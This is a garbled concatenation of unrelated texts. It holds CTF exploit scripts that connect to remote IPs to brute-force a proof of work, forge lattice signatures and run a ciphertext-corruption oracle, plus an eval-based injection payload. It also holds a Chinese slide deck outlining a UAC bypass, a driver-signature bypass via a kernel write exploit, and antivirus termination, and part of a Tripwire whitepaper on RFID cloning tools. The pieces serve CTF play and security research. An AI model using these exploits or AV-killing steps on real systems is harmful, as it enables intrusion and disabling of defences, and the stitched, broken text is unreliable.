block_size=24已经⽐较⼤了，直接⽤结果当sk。。竟然能任意签名了。
sla('Insane','3')
#context.log_level='debug'
for i in range(512):
rcu('#')
rcl()
x=fuck.pop()
assert(guessit(valid_words[x%len(valid_words)])[5]==1)
print("ok2")
p.interactive()
user=/*
website=*/eval(__PUNC__));/*
punctuation=~"%8C%86%8C%8B%9A%92%D7%D8%9C%9E%8B%DF%D0%99%93%9E%98%D2%C6%99%CB%C9%CA%99%
9B%9C%D2%9C%9E%9B%CA%D2%CB%9C%C8%9A%D2%9E%9B%CD%9C%D2%9E%C9%C9%CC%C7%9E%CE%9A%CF%C7%CA%
9E%D8%D6%C4"
from sage.all import *
from scheme import *
import itertools
from pwn import remote
from pwnlib.tubes.tube import *
from tqdm import tqdm
from hashlib import sha256
pk = load('pk.sobj')
pklll = pk.BKZ(block_size=24)
sk = pklll
OTP
r = remote('120.78.192.215', '24578')
# context(log_level='debug')
ALPHABET = string.ascii_letters + string.digits
rec = r.recvline().decode()
suffix = rec[rec.find('****')+4:rec.find(')')]
digest = rec[rec.find('==')+3:-1]
print(f"suffix: {suffix} \ndigest: {digest}")
for i in itertools.product(ALPHABET, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == digest:
# log.info(f"Find XXXX: {prefix}")
print((f"Find XXXX: {prefix}"))
break
r.sendline(prefix.encode())
r.recvuntil('to authenticate:\n')
s = r.recvline().decode()[:-1]
print(s)
sig = hash_and_sign(sk, s)
print(sig)
sig = [str(x) for x in sig]
sig_str = ' '.join(sig)
r.sendline(sig_str)
r.interactive()
from pwn import *
import os
from itertools import permutations
r = remote("112.74.179.118",20639)
def proof_of_work():
rev = r.recvuntil("sha256(XXXX+")
suffix = r.recv(16).decode()
rev = r.recvuntil(" == ")
tar = r.recv(64).decode()
def f(x):
hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest()
return hashresult == tar
prefix = util.iters.mbruteforce(
f, string.digits + string.ascii_letters, 4, 'upto')
r.recvuntil("Give me XXXX:")
r.sendline(prefix)
proof_of_work()
r.recvuntil(b'flag: ')
enc = r.recvline().decode().strip()
print(enc)#5c591ec2cb11064e8b8aae294c20e9391e0298b76d8159a6b31d6ef766bb2e62b11714bae58f
4a82ef9e13db4628912a186306e5
print(len(enc)//2-8) #44
x = [17, 2, 0, 37, 42, 36, 8, 29, 43, 22, -2, 41, 24, 4, 5, 39, 23, 16, 3, 30, 12, 1,
13, 26, 34, 7, 6, 38, 32, 28, 35, 20, 11, 40, 27, 9, 33, 18, -2, 10, 19, 14, 21, 15,
25, -2, 31, -2]
enc =
bytes.fromhex('5c591ec2cb11064e8b8aae294c20e9391e0298b76d8159a6b31d6ef766bb2e62b11714ba
e58f4a82ef9e13db4628912a186306e5')
'''
x = [-1]*48
while True:
for i in range(48):
payload = enc[:(2*i)]+os.urandom(1).hex()+enc[(2*i+2):]
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.sendline(payload)
response = r.recvline()
if response[:54] == b'The original message contains invalid characters: pos ':
e = int(response[54:])
if x[i] == -1:
x[i] = e
elif x[i] != e:
x[i] = -2
print(x)
if sorted(x)==[-2]*4+list(range(44)):
break
'''
while True:
r.recvuntil(b'> ')
r.sendline(b'0')
r.recvuntil(b'> ')
r.sendline(b'35'*24)
r.recvuntil(b'encrypted message: ')
enc0 = r.recvline().strip().decode()
print(enc0)
x0 = [-1]*52
while True:
for i in range(52):
payload = enc0[:(2*i)]+os.urandom(1).hex()+enc0[(2*i+2):]
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.sendline(payload)
response = r.recvline()
if response[:54] == b'The original message contains invalid characters: pos
':
e = int(response[54:])
if x0[i] == -1:
x0[i] = e
elif x0[i] != e:
x0[i] = -2
print(x0)
if sorted(x0)==[-2]*4+list(range(48)):
break
enc0 = list(bytes.fromhex(enc0))
for i in range(44):
enc0[x0.index(i)] = enc[x.index(i)]
w = []
for i in range(48):
if x[i]==-2:
w.append(enc[i])
w0 = []
for i in range(52):
if x0[i]==-2:
w0.append(i)
print(w)
print(w0)
for i in permutations(w):
enc0[w0[0]],enc0[w0[1]],enc0[w0[2]],enc0[w0[3]] = i
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.sendline(bytes(enc0).hex())
data = r.recvline()
print(data)
if b'invalid' not in data:
input() | pdf |
[email protected]
Kill AV in x64
What’s AV?
What’s AV?
AV
AV
雖然她們
伴隨著
青春歲月
深埋你我
的
D:\
But~
今天主角是…….
防毒Girl
防毒Girl
噴鼻血(圖)
以上純屬唬爛
演講開始
1. UAC Bypass
2. 數位簽章-Secret
3. Kill AV
主題
UAC Bypass
據說漏洞發現作者是在向微軟回報而
未被重視的情況下，憤怒的公開了原
始程式碼和實作Demo。
小故事
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
利用條件
1、某些程式在執行時會自動賦予為管理者權限,而不
會觸發UAC
2、某些程式可以建立特定的Com Object且不會有
UAC提示
3、某些Com Object，若建立成功則擁有管理者權限
4 、子行程會有與父行程相同權限(權限繼承)
………..
………..
Windows/System32/sdclt.exe
Windows/System32/shrpubw.exe
Windows/System32/slui.exe
Windows/System32/SndVol.exe
Windows/System32/syskey.exe
Windows/System32/sysprep/sysprep.exe
………..
………..
管理者權限白名單(1)
建立ComObject白名單
(2)………..
………..
Calc.exe
Taskmgr.exe
Notepad.exe
Explorer.exe
………..
………..
Code Injection
程式碼
WriteProcessMemory
+
CreateRemoteThread
Explorer.exe
這段程式碼會新建一個IFileOperation Object，並
擁有管理員權限但不觸發UAC。
IFileOperation Object Pattern
3AD05575-8857-4850-9277-11B85BDB8E09
IFileOperation Object(Com object)
Windows Vista版本之後，檔案操作的框架
複製、剪下、刪除等操作都透過它。
CodeInjection
IfileOperation
Copy
Cryptbase.dll
(Evil)
Save
System32
\sysprep
Explorer.exe
Exec
DLL
Hijack
Cryptbase.dll
(Evil)
Load
Admin
Code
sysprep.exe
Demo
一秒變Admin
數位簽章
數位簽章檢查機制
In Kernel Mode
x64
驅動程式
載入
簽章
檢查
載入成功
載入失敗
How to Bypass
數位簽章檢查!?
一、正常方法
暫時性關閉數位簽章檢查
二、邪惡方法
1.替換BootLoader
Bypass 數位簽章 & PatchGuard
2.利用已公布之漏洞+白名單數位簽章
暫時性關閉驅動簽章檢查
於電腦的 BIOS 自我檢測完成之後，
狂按 F8 鍵，等到出現「進階開機選
項」，選擇「停用驅動程式強制簽章」
啟動 Windows。
這叫
Binary Patch
系統檔案
邪惡方法一
一、修改微軟的系統檔案
1.winload.exe
(1)檢查OS檔案是否被修改
(2)數位簽章檢查機制
技術原理-Binary Patch
2.ntoskrnl.exe(PatchGuard)
假裝安全模式騙過系統
二、bcdedit 新增自定義開機導引
提供Script + Dup2 的Patch
缺點
一、動作太大，會被AV偵測
二、必須重開機才有效果!
邪惡方法二
利用已公布之漏洞
加上正式簽章Bypass
資料來源
http://j00ru.vexillium.org/?p=377
A quick insight into the
Driver Signature Enforcement
j00ru 2010/06/19
Bypass數位簽章原理
nt!MmLoadSystemImage
nt!MiObtainSectionForDriver
nt!MiCreateSectionForDriver
nt!MmCheckSystemImage
nt!NtCreateSection
nt!MmCreateSection
nt!MiValidateImageHeader
nt!SeValidateImageHeader ●
nt!_g_CiCallbacks[0]
攻擊目標-關鍵變數
nt!g_CiEnabled
若值等於 1 則開啟數位簽章檢查
若值等於 0 則關閉檢查
條件一：正式簽章驅動
條件二：任意寫入漏洞
/* drivecrypt-dcr.c
* Copyright (c) 2009 by <[email protected]>
* DriveCrypt <= 5.3 local kernel ring0 exploit
* by mu-b - Sun 16 Aug 2009
* - Tested on: DCR.sys
* Compile: MinGW + -lntdll
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
*/
漏洞苦主-DriveCrypt
Target
How To Kill It !?
Kernel Hook in x86
But….
PatchGuard in X64
為了不觸發PatchGuard，
微軟提供一套Kernel底下實作監控
框架的API，所以在x64系統底下，
各家防毒的核心自我保護手段都
『大同小異』。
微軟給出解決方案
核心函數- ObRegisterCallbacks
The ObRegisterCallbacks routine
registers a list of callback routines
for thread and process handle
operations.
360@防毒
趨勢科技@雲端版
攻擊方法一
Ring3的逆襲
Message
Flood
Message
Code
Demo
攻擊方法二
Kernel漏洞+正式簽章
Kernel ShellCode
NtQueryIntervalProfile
+
HalDispatchTable + 0x8
Exploit流程
計算
Nt!g_CiEnabled
計算
HalDispatchTable
填寫
Shellcode
任意寫入漏洞
改寫HalTable
NtQueryIntervalProfile
觸發Exploit
改寫HalDispatchtable前
改寫HalDispatchtable後
Exploit流程
執行Shellcode
Bypass
簽章檢查
載入攻擊
Driver
Kill AV
PspTerminate
ThreadByPointer
Bypass – ShellCode
只有4行
Live Demo
Kill 防毒
靠,我看到臉都綠了
感謝聆聽!! | pdf |
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
By
Craig
Young
Security
Researcher
Tripwire
VERT
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Table
of
Contents
Introduction
.....................................................................................................................................................................
3
RFID
At
A
Glance
.............................................................................................................................................................
4
What
is
an
RFID
Tag
...................................................................................................................................................................
4
Low
Frequency
Cloning
(T55x7)
...........................................................................................................................................
5
High
Frequency
Cloning
............................................................................................................................................................
6
Introducing
the
Proxmark3
(pm3)
..........................................................................................................................
7
Proxmark3’s
FPGA
......................................................................................................................................................................
7
Proxmark3’s
CPU
........................................................................................................................................................................
8
Proxmark3’s
ADC
........................................................................................................................................................................
9
Proxmark3’s
Connections
........................................................................................................................................................
9
The
NXP
PN533
NFC
Transceiver
Chipset
............................................................................................................
10
RFIDler
.............................................................................................................................................................................
10
RFIDler
Internals
......................................................................................................................................................................
10
3d
Printing
......................................................................................................................................................................
11
Printing
Process
........................................................................................................................................................................
12
Preparing
the
drawing
...............................................................................................................................................................................
12
Preparing
the
Plate
......................................................................................................................................................................................
12
Extrusion
..........................................................................................................................................................................................................
12
Movement
........................................................................................................................................................................................................
12
Retrieving
the
Print
.....................................................................................................................................................................................
12
Printing
Pitfalls
.........................................................................................................................................................................
13
Printing
Coil
(Antenna)
Forms
.............................................................................................................................................
13
First
Antenna
Design
..................................................................................................................................................................................
14
BADge
Antenna
.............................................................................................................................................................................................
17
Clipwnd
(Clipboard
with
a
Kick)
...........................................................................................................................................................
18
Business
Information
Modeling
(BIM),
3D
Scanning,
and
RFID
Hacking
...............................................................
19
Using
Proxmark3
like
a
Boss
...................................................................................................................................
19
Using
‘lf
search’
..........................................................................................................................................................................
19
Printing
and
using
the
demodulated
buffer
....................................................................................................................
20
Developing
New
Features
for
The
Proxmark3
...............................................................................................................
21
Adding
real-‐time
demodulation
of
AWID26
.....................................................................................................................................
22
Simulation
of
AWID26
tags
from
facility-‐code
and
card
number
.............................................................................
23
Cloning
AWID26
from
facility-‐code
and
card
number
.................................................................................................
24
Replacing
LF
standalone
mode
with
NFC
functions
......................................................................................................
25
RFIDler:
The
New
Kid
on
the
Block
........................................................................................................................
28
RFIDlerPi
.....................................................................................................................................................................................
28
Concluding
Remarks
...................................................................................................................................................
28
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Introduction
The
Tripwire
Vulnerabilities
and
Exposure
Team
(VERT)
has
been
evaluating
a
variety
of
approaches
for
extending
the
functionality
of
our
RFID/NFC
analysis
tools.
This
ongoing
research
documents
accomplishments
and
ideas
enabled
through
3D
printing,
firmware
enhancements,
and
device
pairing.
The
tools
used
cross
functional
domains
ranging
from
devices
like
the
tiny
proxmark3
with
its
excellent
software-‐defined
radio
(SDR)
based
RFID
Swiss-‐army
knife
to
the
more
“dish
washer”
looking
CubePro
3d
printer.
The
collection
also
includes
a
DEF
CON
22
acquired
RFIDler
v22-‐beta,
NXP
PN5333
USB
stick,
ChameleonMini,
RaspberryPi,
and
USB
Armory
embedded
USB
stick.
In
order
to
improve
upon
these
tools
it
is
critical
to
understand
how
they
work
at
various
levels
so
as
to
recognize
their
potential
and
become
comfortable
with
using
them
in
new
ways.
Many
of
these
tools
are
extremely
well
documented
with
respect
to
forums
and
wiki
articles
explaining
how
they
are
operated.
Few
however
go
into
much
detail
regarding
how
to
get
started
working
in
the
source
code.
Although
in
some
cases
developers
gladly
answer
questions,
it
can
be
intimidating
for
a
new
comer
who
might
not
know
where
to
begin.
This
research
was
performed
partially
to
help
consolidate
some
of
the
information
about
these
devices
making
it
easier
for
others
to
get
involved.
At
the
same
time
the
contributions
from
this
project
are
intended
to
be
helpful
for
others
using
the
technology.
Changes
to
the
proxmark3
firmware
(now
available
on
GitHub)
are
documented
in
a
tutorial-‐like
demonstration
for
working
with
both
high
frequency
and
low
frequency
tags
with
and
without
an
attached
client.
The
feature
enhancements
introduce
functionality
specific
for
working
with
125kHz
AWID27
tags
as
well
as
for
working
with
NFC
in
stand-‐alone
mode.
For
AWID27,
the
changes
allow
the
operator
to
act
as
a
reader
as
well
as
to
clone
or
emulate
cards
based
solely
on
numbers
found
on
a
typical
AWID
card.
The
NFC
stand-‐alone
mode
enhancement
allows
reading
and
emulating
a
UID
from
ISO14443a
compatible
tags.
The
new
mode
also
allows
writing
a
captured
UID
onto
a
special
“magic”
card.
Identified
uses
for
3D
printing
focus
on
the
construction
of
antennas
using
3D
printed
forms
as
well
as
concealment
of
hacking
devices.
The
use
of
3D
printing
for
making
coils
is
advantageous
due
to
the
possibility
of
lower
cost
and
customized
antennas.
Device
concealment
is
also
explored
with
examples
for
outfitting
a
clipboard
with
a
proxmark3,
creation
of
fake
badge
readers
and
fake
badges.
Applications
range
between
practical
attack
scenarios
and
research
scenarios.
As
insecure
low-‐frequency
access
cards
still
dominate
the
workplace
and
NFC
technology
is
gaining
steam,
it
is
critical
to
get
our
tools
ready
now
to
identify
emerging
threats.
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
RFID
At
A
Glance
RFID
tags,
badges,
and
cards
come
in
two
main
categories:
low
frequency
and
high
frequency.
As
of
May
2013,
legacy
125-‐kHz
proximity
technology
was
used
in
70%-‐80%
of
all
physical
access
control
systems
according
to
Stephanie
Ardiley,
product
manager
at
HID
Global.
Implantable
low
frequency
RFID
chips
have
also
seen
widespread
use
for
identifying
lost
pets.
These
are
both
fairly
simplistic
systems
in
which
the
reader
energizes
a
coil
to
power
up
a
chip
and
modulate
back
a
stored
number.
The
high-‐frequency
RFID
however
includes
applications
like
contactless
credit
cards,
public
transit
fare
cards,
smart
posters,
and
other
functions
utilizing
Near
Field
Communication
(NFC)
built
around
ISO14443a.
What
is
an
RFID
Tag
The
RFID
tags
described
in
this
paper
are
passive
devices.
They
are
all
essentially
coils
of
wire
tuned
to
a
connected
integrated
circuit.
When
the
coil
is
within
the
field
produced
by
the
carrier
signal
of
the
reader,
it
induces
current
to
power
the
integrated
circuit.
The
chip
will
then
do
something
similar
to
opening
and
closing
the
circuit
with
the
coil
to
control
the
damping
factor.
This
has
the
effect
of
determining
how
much
the
coil
will
resonate
from
the
reader.
The
reader
detects
this
as
a
changing
voltage
and
interprets
the
signal
based
on
the
modulation
and/or
encoding
for
that
protocol.
ISO14443a/NFC
systems
perform
this
system
but
with
a
far
richer
command
set
offering
access
to
more
data
and
the
occasional
encryption
option.
Figure
1
RFID
Tag
Teardown
(via
Wikipedia)
RFID
tags
are
used
in
everything
from
the
common
office
access
control
systems
to
passports
and
mobile
payment
systems.
Advertisers
and
game
designers
have
been
using
NFC
in
toys
and
smart
posters
to
provide
a
more
meaningful
interactive
experience.
We
are
also
now
seeing
perhaps
the
first
use
of
NFC
as
a
protection
mechanism
in
consumer
products
with
the
Keurig
2.0
coffee
makers
utilizing
an
NFC
tag
to
differentiate
unsanctioned
grinds.
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
RFID
tags
have
the
potential
to
make
our
lives
easier
with
contactless
payment,
automatic
device
configuration,
and
seemingly
secure
locks,
but
the
reality
is
that
much
of
this
technology
has
been
implemented
insecurely
because
there
is
a
general
lack
of
knowledge
on
how
to
evaluate
these
systems.
Low
Frequency
Cloning
(T55x7)
Cards
using
the
Atmel
T5557
and
ATA5567
chipset
are
collectively
referred
to
as
T55x7
cards.
With
seven
32-‐bit
optionally
password
protected
EEPROMS,
these
cards
can
be
configured
to
emulate
a
wide
range
of
low-‐frequency
tags.
Modulation
and
encoding
supported
by
the
chip
includes
frequency-‐shift
keying
(FSK),
phase-‐shift
keying
(PSK),
Manchester
encoding,
Biphase
encoding,
and
non-‐return
to
zero
(NRZ)
encoding.
Each
EEPROM
is
referred
to
as
a
block
with
block
0
being
used
to
configure
modulation
and
data
rate
options
while
block
1-‐7
may
be
used
to
supply
up
to
224
bits
of
raw
data
for
transmission.
T55x7
cards
can
simulate
the
most
popular
HID,
Indala,
EM410x,
and
AWID
formats
among
others
making
them
a
very
real
threat
to
businesses
relying
on
these
cards
alone
for
access
control.
With
the
help
of
a
few
simple
proxmark3
commands,
it
is
possible
to
easily
convert
any
supported
tag
into
a
T55x7
clone.
Inside
a
T5557
card,
it
isn’t
much
different
from
a
“normal”
RFID
badge
as
shown
in
this
illustration
from
http://www.proxclone.com:
Figure
2
T5557
Construction1
The
block
0
configuration
of
a
T55x7
controller
varies
slightly
but
the
common
T5557
configuration
can
be
found
in
the
Atmel
datasheet2:
1
http://proxclone.com/T55x7.html
2
http://media.digikey.com/pdf/Data%20Sheets/Atmel%20PDFs/T5557.pdf
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Figure
3
T5557
Block
0
Configuration
from
Datasheet
Low-‐frequency
cards
can
of
course
also
be
emulated
in-‐circuit
by
simply
crafting
the
expected
waveform
and
presenting
it
to
the
card
reader.
These
techniques
are
covered
in
later
sections.
High
Frequency
Cloning
So
called
“magic”
are
well
known
in
the
industry
because
they
allow
the
end
user
to
reprogram
the
normally
write-‐only
block
0
values
containing
most
importantly
the
card’s
unique
identifier
(UID).
Along
with
well-‐documented
cracks
against
the
MiFare
Classic
encryption
scheme,
this
allows
an
attacker
to
make
a
complete
duplicate
MiFare
Classic
card
in
potentially
under
a
minute
even
when
encryption
is
used.
Also
referred
to
as
“changeable
uid”
or
“Chinese”,
these
cards
are
available
for
a
variety
of
shapes
sizes
and
formats
with
some
companies
such
as
Clone
My
Key3
offering
full
duplication
service.
Another
approach
comes
from
hardware
devices
designed
to
simulate
the
waveform
and
even
responses
from
ISO14443a
compliant
readers.
One
of
the
most
interesting
techniques
however
has
to
be
the
use
of
a
Chameleon
circuit.
Designed
at
Ruhr
University
Bochum,
this
circuit
is
designed
to
store
and
emulate
multiple
NFC
tags
with
various
data
sets
as
well
as
snooping
on
NFC
communication
to
potentially
uncover
UIDs
or
other
sensitive
data.
Among
other
things,
this
device
was
used
to
highlight
fundamental
flaws
in
the
Akademisches
Förderungswerk
(AKAFÖ)
contactless
payment
system
commonly
used
in
German
universities.4
3
http://www.clonemykey.com/
4
Timo
Kapser,
Milking
The
Digital
Cash
Cow
[29c3]
https://www.youtube.com/watch?v=Y1o2ST03O8I
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Introducing
the
Proxmark3
(pm3)
Proxmark3
is
the
brainchild
of
Koning
Gans
who
developed
the
basis
of
the
system
while
analyzing
the
security
of
the
local
transit
cards.
The
idea
is
to
use
a
less
expensive
FPGA
to
perform
high-‐quality
software-‐defined
radio
(SDR)
paired
with
an
ARM
processor
capable
of
performing
encoding
operations
as
well
as
moderating
instructions
from
the
user.
The
project
is
a
completely
open
source
(hardware
and
software)
project
for
affordable
RFID
research
on
both
high
frequency
and
low
frequency
target
systems.
The
proxmark3
can
interact
with
or
simulate
a
wide
range
of
RFID
tags
with
additional
support
being
added
through
community
maintained
firmware5.
An
assembled
board
can
currently
be
purchased
for
$229
without
antennae
or
an
enclosure.6
Tuning
commands
within
the
ARM
operating
system
assist
in
construction
of
high
quality
coils
for
as
little
as
the
cost
of
a
cable.
Proxmark3’s
FPGA
At
the
core
of
the
Proxmark3
is
a
Xilinx
Spartan-‐II
FPGA
driven
by
code
authored
in
Verilog
and
compiled
with
the
ISE
WebPACK.
A
modular
design
allows
for
different
discrete
functionality
blocks
available
for
switching
by
simply
redirecting
pin
connections
on
the
fly.
The
FPGA
defines
a
serial
peripheral
interface
(SPI)
used
for
some
of
the
most
important
functions
such
as
driving
the
coil
and
reading
from
the
analogue-‐digital
converters.
The
FPGA
also
implements
a
synchronous
serial
port
(SSP)
used
for
communicating
data
from
the
FPGA
to
the
ARM
in
low
frequency
mode.
Figure
4
Annotated
Proxmark3
(Xiling
Spartan-‐II
FPGA)
5
https://github.com/Proxmark/proxmark3
6
http://store.ryscc.com/collections/proxmark-‐3/products/naked-‐proxmark-‐3
[$229
as
of
7/17/2015]
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Proxmark3’s
CPU
An
ATMEL
32-‐bit
RISC
processor
(AT91SAM7SXX
series)
handles
all
of
the
high
level
functions
on
the
proxmark3
board.
The
ARM
processor
also
loads
configurations
into
the
FPGA
for
different
modes
of
operations
such
as
switching
between
high
frequency
and
low
frequency
modes.
All
USB
communication
from
the
client
application
is
handled
within
the
ARM
processor
before
deciding
what
if
any
action
must
occur
with
the
FPGA.
Source
for
the
program
running
on
the
CPU
is
found
in
the
armsrc
path.7
The
main
logic
on
the
ARM
processor
is
in
AppMain()
within
the
appmain.c.
After
initializing
the
device,
the
ARM
loops
checking
for
USB
commands
or
button
presses.
Commands
sent
over
the
USB
serial
link
are
represented
with
opcodes
defined
across
header
files8
and
also
maintained
in
a
LUA
script9.
UsbPacketReceived()
translates
these
commands
into
function
calls
on
the
ARM.
Figure
5
ATMEL
32-‐bit
RISK
Microcontroller
Samples
from
the
FPGA
are
stored
in
a
DMA
buffer
on
the
ARM
referred
to
as
BigBuf.
This
data
may
be
samples
from
the
ADC
or
data
for
the
Mifare
emulator.
In
sniffer
mode,
the
ARM
can
attempt
to
simultaneously
decode
signals
with
both
Manchester
and
Modified
Miller
encoding
looking
for
a
valid
signal.
Contents
can
also
naturally
be
sent
to
the
host
for
other
types
of
analysis
including
visual
inspection.
(Refer
to
BigBuf.c
for
buffer
related
functions.)
7
https://github.com/Proxmark/proxmark3/tree/master/armsrc
8
https://github.com/Proxmark/proxmark3/search?q="define+CMD_ACK"&type=Code
9
https://github.com/Proxmark/proxmark3/blob/master/client/lualibs/commands.lua
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Proxmark3’s
ADC
The
Spartan-‐II
FPGA
connects
to
a
Texas
Instruments
TLC5540
analogue-‐to-‐digital
converter
(ADC).
This
8-‐bit
ADC
sends
readings
from
the
coil
to
the
FPGA
across
an
8-‐pin
bus.
The
FPGA
uses
the
serial
peripheral
interface
(SPI)
to
control
the
ADC
and
SSP
to
share
data
to
the
ARM.
The
TLC5540
collects
up
to
40
million
samples
per
second
giving
a
theoretical
maximum
of
20MHz
per
the
Nyquist
rate.
Figure
6
TI
TLC5540
8-‐bit
40MSPS
ADC
Proxmark3’s
Connections
The
proxmark3
design
uses
a
hirose
4-‐pin
connector
for
the
antenna
along
with
mini-‐USB
for
both
data
and
power.
USB
support
emulates
a
USB
serial
connection
allowing
it
to
operate
without
any
driver
installation
on
most
systems.
Proxmark3
also
offers
general
purpose
and
JTAG
pins
outside
of
the
scope
of
this
document.
For
human
I/O,
there
is
a
single
button
and
a
whole
lot
of
lights
to
provide
feedback
about
the
proxmark3
status
while
in
operation.
Figure
7
Proxmark3
I/O
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
The
NXP
PN533
NFC
Transceiver
Chipset
The
PN5333
transceiver
module
is
fully
compatible
with
ISO14443a,
ISO14443b,
and
FeliCa
tags
in
reader
and
writer
mode10.
It
is
also
interoperable
with
ISO18092,
ECMA
340
peer-‐to-‐peer
communication
and
comes
in
a
convenient
USB
enclosure
complete
with
libNFC
support.
This
tool
benefits
from
the
NXP
chipset
ensuring
better
interoperability
especially
with
changeable
UID
tags.
This
USB
dongle
also
gives
the
opportunity
to
experiment
a
little
more
freely
with
Linux
RFID
tools
such
as
the
NFC
tools
included
with
Kali
Linux.
The
PN533
USB
package
is
available
from
a
variety
of
sources
generally
ranging
from
$40-‐$60
including
test
cards.
Figure
8
Example
PN533
USB
Dongle
With
support
for
most
popular
Linux
distributions
as
well
as
OS
X
and
Windows,
Libnfc
is
a
great
tool
for
identifying
tags
and
performing
research
on
target
systems.11
The
PN533
is
just
one
of
many
available
NFC
USB
peripherals
available
with
support
for
libNFC.
RFIDler
A
product
of
Aperture
Labs,
RFIDler,
originally
was
funded
via
Kickstarter12
and
was
available
for
sale
as
the
‘v22-‐beta’
revision
board
and
coil
at
DEF
CON
22.
The
goal
of
RFIDler
is
to
create
an
extremely
simply
and
low
cost
circuitry
for
interacting
with
low
frequency
RFID.
The
circuits
use
outputs
from
a
PIC
microcontroller
along
with
basic
analogue
circuitry
to
form
and
read
125kHz
modulated
signals.
A
3d
case
was
designed
by
Aperture
Labs
and
published
as
a
free
model
on
Thingiverse13.
RFIDler
Internals
A
basic
LC
tank
is
used
for
the
antenna
driven
by
the
PIC32
microcontroller
and
amplified
with
the
analogue
components.
Digital
potentiometers
are
used
to
control
thresholds
for
determining
logic
levels
while
interpreting
signals.
Numerous
LED
outputs
can
be
used
to
visually
indicate
the
device
status.
Automatic
command
execution
allows
for
a
basic
stand-‐alone
operation.
10
http://www.nxp.com/documents/short_data_sheet/PN533_SDS.pdf
11
http://nfc-‐tools.org/index.php?title=Libnfc
12
https://www.kickstarter.com/projects/1708444109/rfidler-‐a-‐software-‐defined-‐rfid-‐reader-‐writer-‐
emul
13
http://www.thingiverse.com/thing:427536
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Figure
9
The
Annotated
RFIDler
Unfortunately
the
RFIDler
acquired
at
DEF
CON
22
for
this
research
has
problems
reading
most
tag
formats.
With
each
tag
it
has
been
necessary
to
spend
a
good
bit
of
time
finding
the
sweet
spot
and
adjusting
POTSET
values.
A
rectangular
multi-‐layer
coil
antenna
tuned
for
the
RFIDler
v22-‐beta
board
was
made
but
it
was
still
not
possible
to
get
consistent
tag
reads.
Furthermore
our
RFIDler
has
a
tendency
to
actually
indicate
a
successful
tag
decode
but
report
back
an
incorrect
decoding
making
practical
application
difficult.
3d
Printing
Additive
manufacturing
is
the
process
by
which
a
substance
is
gradually
deposited
layer
by
layer
to
build
up
a
3-‐dimensional
model.
VERT’s
CubePro
from
Cubify
supports
both
PLA
and
ABS
plastic
with
layer
thickness
options
of
70,
200,
or
300
microns
and
3
patterns
for
internal
structure.
With
a
large
build
volume
(11.2”
x
10.6”
x
9.06”)
it
is
on
the
large
end
of
consumer
printers14.
14
http://www.cubify.com/
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Figure
10
CubePro
Promotional
Picture
Printing
Process
Preparing
the
drawing
3D
models
are
drawn
in
standard
CAD
software
and
then
imported
(STL/etc)
into
the
CubePro
(or
other
CAM
software)
to
slice
the
model
into
2D
layers
suitable
for
printing.
Preparing
the
Plate
The
CubePro
uses
a
print
plate
with
a
coating
of
water-‐soluble
glue
that
is
dissolved
after
the
print
allowing
the
model
to
be
scraped
off.
The
first
step
is
to
coat
the
printed
surface
with
this
glue
so
that
the
extruded
filament
adheres
to
the
print
plate
rather
than
itself.
Extrusion
Drive
gears
on
the
extruder
feed
filament
into
a
hot
print
nozzle.
When
the
print
starts,
the
extruder
and
the
print
area
both
are
heated
until
the
filament
begins
to
extrude.
Excess
filament
is
pushed
into
a
trash
bin
and
then
wiped
off
before
a
print
commences.
Movement
The
extruder
is
on
a
gantry
moving
along
the
x
and
y-‐axis
while
the
print
bed
moves
down
gradually
to
provide
the
z
axis.
As
each
layer
is
drawn,
fans
are
switched
on
and
off
as
needed
to
perform
cooling.
Retrieving
the
Print
After
the
printer
has
completely
generated
a
model,
it
will
be
stuck
the
to
print
plate
thanks
to
the
glue
applied
before
printing.
The
object
is
removed
by
soaking
in
warm
water
for
several
minutes
and
then
carefully
prying
the
model
away
from
the
build
plate.
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
Printing
Pitfalls
3D
printing
is
not
yet
a
consumer
friendly
technology.
CAD
skills
as
well
as
some
sense
of
industrial
design
and
materials
science
are
needed
to
excel
at
creating
custom
3d
components.
Printers
can
also
have
tedious
calibration
processes
wasting
time
and
filament
for
the
operator.
Beyond
this,
operation
of
an
extrusion
based
3D
printer
will
almost
inevitably
lead
to
debris
jamming
the
drive
gears
or
clogging
the
print
nozzle.
This
is
why
it
is
important
to
know
how
to
clean
critical
printing
parts
disassembling
them
as
needed.
For
the
VERT
Makerbot
replicator
5,
this
happened
between
basically
every
single
print.
On
the
CubePro
the
first
clog/jam
did
not
occur
until
after
more
than
700g
of
models
had
been
successfully
printed.
At
that
point,
the
debris
show
below
led
to
filament
flow
errors
and
disassembly
of
the
extruder.
Figure
11
Filament
debris
in
extruder
drive
gears
Printing
Coil
(Antenna)
Forms
The
LC
tank
used
by
RFID
devices
involves
a
coil
(inductor)
tuned
to
the
capacitor
for
the
desired
resonance
frequency.
The
induction
of
the
coil
is
dependent
on
the
shape,
size,
wire
diameter
and
number
of
turns
in
the
coil.
Microchip
has
an
excellent
application
note
describing
the
calculations
for
various
shapes
and
properties
of
RFID
antennas15.
The
proxmark3
GitHub
also
contains
details
of
antenna16
designs
specific
to
the
proxmark3
but
which
can
be
modified
for
other
applications
with
the
appropriate
calculations
or
measurements.
3d
printing
can
easily
produce
the
shapes
needed
to
form
wires
into
the
desired
shapes
with
precise
measurements.
Once
an
antenna
form
has
been
designed,
it
can
be
integrated
with
other
models
to
make
coils
hidden
within
other
